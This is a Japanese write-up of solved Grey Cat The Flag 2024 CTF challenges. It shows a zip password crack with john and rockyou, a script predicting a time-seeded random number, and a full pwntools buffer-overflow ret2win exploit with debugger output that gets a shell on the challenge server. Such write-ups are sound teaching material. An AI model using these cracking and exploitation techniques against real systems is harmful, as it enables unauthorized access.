Grey Cat The Flag 2024 Qualifiers Writeup

この大会は2024/4/20 13:00(JST)~2024/4/21 13:00(JST)に開催されました。
今回もチームで参戦。結果は600点で407チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

grey{w3lc0m3_to_gctf2024_enjoy_your_stay!}

Cashhat The Ripper (MISC)

zipにパスワードがかかっているので、クラックする。

$ zip2john challenge.zip > zip.hash
ver 2.0 efh 5455 efh 7875 challenge.zip/flag.txt PKZIP Encr: TS_chk, cmplen=123, decmplen=117, crc=69101057 ts=6604 cs=6604 type=8
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt                  
Warning! john.conf section [list.rules:replaceletterscaps] is multiple declared.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123mango         (challenge.zip/flag.txt)     
1g 0:00:00:00 DONE (2024-04-20 15:28) 2.439g/s 5794Kp/s 5794Kc/s 5794KC/s 12hyre..123aniyah
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ unzip challenge.zip
Archive:  challenge.zip
[challenge.zip] flag.txt password: 
  inflating: flag.txt                
$ cat flag.txt         
Congratulations on cracking the password-protected zip file! Here is your flag:
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}

All About Timing (MISC)

UNIXTIMEの整数値がseedになっていることがわかっているので、乱数の値を予測できる。
しかし時間が少しずれているようなので、ずれている時間を考慮して予測する。

#!/usr/bin/env python3
import socket
import time
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time())
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

for diff in range(-10, 0):
    tm = cur + diff
    random.seed(tm)
    x = random.randint(1000000000000000, 10000000000000000-1)
    if x == n:
        print(diff)
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time()) + diff
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Guess the number I'm thinking of? It's all about the timing
Your guess:1980674828191200
Wrong answer! The number I was thinking of was 7740404356175268
-2
Guess the number I'm thinking of? It's all about the timing
Your guess:7740404356175268
grey{t1m3_i5_a_s0c1al_coNstRucT}
grey{t1m3_i5_a_s0c1al_coNstRucT}

Grey Divers (MISC)

いろいろ調べたところゲームの各戦略支援のコマンドが関係していると推測できる。
以下のページで調べたコマンドを整理する。

https://helldivers.fandom.com/wiki/Eagle_500kg_Bomb
https://helldivers.fandom.com/wiki/Stratagem_Codes_(Helldivers_2)
1.Eagle 500 Kg Bomb:上右下下下
2.GL-21 Grenade Launcher:下左上左下
3.MD-I4 Incendiary Mines:下左左下
4.Orbital Gas Strike:右右下右
5.Orbital Airburst Strike:右右右
6.Eagle Rearm:上上左上右
7.Eagle 110MM Rocket Pods:上右上左

Homeから上のコマンドの通り文字をたどる。

GREY{i3mm_e1w3st_2_n3oU10o3E!}

フラグの形式はgrey{***}であるので、それに合わせる。

grey{i3mm_e1w3st_2_n3oU10o3E!}

Baby Goods (PWN)

buildpram関数内でBOFでsub_15210123関数をコールできれば良い。

$ gdb -q ./babygoods                                                                                                  
Reading symbols from ./babygoods...
(No debugging symbols found in ./babygoods)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babygoods 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: Build new pram
2: Exit
Input: 1

Choose the size of the pram (1-5): 5

Your pram has been created! Give it a name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

New pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdec8 --> 0x7fffffffe23e ("/media/sf_Shared/babygoods")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc20 ("\nNew pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!\n")
RDI: 0x7fffffffbb00 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401328 (<buildpram+206>: ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffded8 --> 0x7fffffffe259 ("CLUTTER_IM_MODULE=xim")
R14: 0x403e18 --> 0x401200 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40131d <buildpram+195>:    call   0x4010e0 <printf@plt>
   0x401322 <buildpram+200>:    mov    eax,0x0
   0x401327 <buildpram+205>:    leave
=> 0x401328 <buildpram+206>:    ret
   0x401329 <exitshop>: endbr64
   0x40132d <exitshop+4>:       push   rbp
   0x40132e <exitshop+5>:       mov    rbp,rsp
   0x401331 <exitshop+8>:       lea    rax,[rip+0xd70]        # 0x4020a8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdd80 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdd88 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffdd90 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffdda8 ("AAKAAgAA6AAL")
0056| 0x7fffffffddb0 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401328 in buildpram ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babygoods | grep ": ret" 
0x000000000040101a : ret
0x0000000000401490 : ret 0x20be
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.nusgreyhats.org', 32345)
else:
    p = process('./babygoods')

elf = ELF('./babygoods')

ret_addr = 0x40101a
sub_addr = elf.symbols['sub_15210123']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(sub_addr)

name = 'hoge'
size = '5'
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + '1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + size)
p.sendline(size.encode())
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.nusgreyhats.org on port 32345: Done
[*] '/media/sf_Shared/babygoods'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: 1
Build new pram
2: 5
Exit
Input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

Choose the size of the pram (1-5): 
Your pram has been created! Give it a name: 
New pram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ of size 5 has been created!
$ ls
flag.txt
run
$ cat flag.txt
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

The REAL GreyCTF Survey (FEEDBACK)

アンケートに答えたら、フラグが表示された。

grey{1_h0p3_y0u_3nj0y3d!!!!!!}